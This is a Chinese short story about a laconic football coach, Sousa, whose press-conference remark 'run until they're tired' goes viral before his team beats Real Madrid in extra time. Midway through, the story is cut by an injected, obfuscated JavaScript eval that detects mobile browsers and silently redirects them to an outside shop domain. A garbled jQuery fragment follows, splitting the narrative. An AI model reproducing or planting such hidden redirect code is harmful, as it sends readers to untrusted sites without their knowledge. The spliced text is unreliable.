索萨当教练后,最怕的不是皇马,不是拜仁,是新闻发布会。
他的球员们都知道这一点。每次赛前发布会,索萨走进新闻厅的样子都像一只被抱去洗澡的猫——面无表情,但耳朵微微向后压着。队长私下说过:“教练宁愿跑二十公里,也不愿意坐在那里回答二十分钟问题。”
但欧足联的规定躲不掉。所以每次发布会,索萨都坐在那张椅子上,双手放在膝盖上,像小学生等老师点名。
那天是欧冠半决赛赛前发布会。对手是皇马。记者们摩拳擦掌,准备从他嘴里撬出点什么。
第一个问题来了。
“索萨教练,你怎么看皇马的进攻线?”
索萨想了三秒:“很强。”
记者等了等,发现他真的说完了。“……能具体一点吗?”
索萨又想了三秒:“进球比我们多。”
全场安静了两秒,有人憋笑憋得肩膀在抖。索萨没有笑。他认真地看着提问的记者,仿佛在等待下一个更聪明的问题。
“那你准备怎么应对他们的进攻?”
索萨这次没犹豫,脱口而出:“跑。”
记者以为自己听错了:“……跑?”
“跑到他们累了为止。”索萨点了点头,觉得这个答案很完整。
发布会现场沉默了五秒。然后,一个女记者没忍住,噗地笑了出来。紧接着,整个新闻厅像决堤一样,笑声哗啦啦地涌了出来。连皇马那边的新闻官都转过身去,肩膀一耸一耸的。
索萨坐在那里,眨了眨眼。他不明白大家在笑什么。他说的是认真的。他真的打算让球员跑到皇马累了为止。
发布会结束后,索萨回到更衣室。他的球员们已经围在平板电脑前,看完了直播。
队长举着屏幕念标题:“《索萨:跑到他们累了为止》。”全队笑得前仰后合。有人笑到从凳子上滑下去,有人趴在按摩床上起不来。
索萨走进来,笑声戛然而止。所有人立刻坐直,假装在系鞋带、整理袜套、研究战术板。
索萨看了一眼平板上的新闻,又看了一眼他的球员们。他走过去,把平板轻轻合上,放在桌上。
“笑完了?”
一片沉默。
“笑完了就开始训练。”
球员们冲出更衣室的时候,脸上还挂着没收住的笑。但那天训练,没有一个人偷懒。因为他们知道,教练说“跑”的时候,从来不只是说说。
第二天,那条新闻火了。整个欧洲都在转“跑到他们累了为止”。有球迷把它做成了T恤,上面印着索萨面无表情的脸和那句“跑到他们累了为止”。销量破了纪录。
半决赛那天,里斯本竞技的球员在场上跑了一百二十分钟,把皇马拖进了加时赛。第一百一十三分钟绝杀。
赛后,记者又堵住了索萨:“你说的跑到他们累了为止,真的做到了。”
索萨看了记者一眼:“不是说了吗。”
记者说:“可是这也太简单了吧。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17960306|205385||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
索萨想了想,破天荒地多说了几句:“足球本来就简单。跑得多的赢跑得少的。我以前以为要很聪明才能赢,后来发现,先跑够了再想聪明的事。”
说完他转身走了。记者站在原地,愣了半天。
回到更衣室,球员们又围了上来。队长说:“教练,你今天多说了三句话。”
索萨说:“没有。”
“你说了六十二个字。”
索萨沉默了一会儿:“那是你们记错了。”
球员们又开始笑。这次没有人憋着。索萨站在他们中间,被笑声包围着,嘴角弯了一个几乎看不见的弧度。
然后他拍了拍手:“笑够了没有。明天七点训练。”
笑声渐渐停了。球员们陆续离开更衣室。最后走的那个小将回头看了一眼,看见索萨一个人站在那里,把新闻发布会的录音笔从口袋里掏出来,按了播放键。
他听着自己说“跑到他们累了为止”,听了一遍,又听了一遍。
然后他把录音笔收好,关灯,走了出去。
第二天,所有球员的手机里都收到了一张照片。是队里的摄影师拍的——训练场上,索萨蹲在地上系鞋带,旁边蹲着一只训练基地的橘猫。猫的头微微歪着,好像在看他系鞋带。
配文只有两个字:“教练。”
这张照片后来成了里斯本竞技球迷论坛的头像。那只猫也有了名字,叫“跑到他们累了为止”。球迷们叫它“索萨猫”。
猫不知道这些。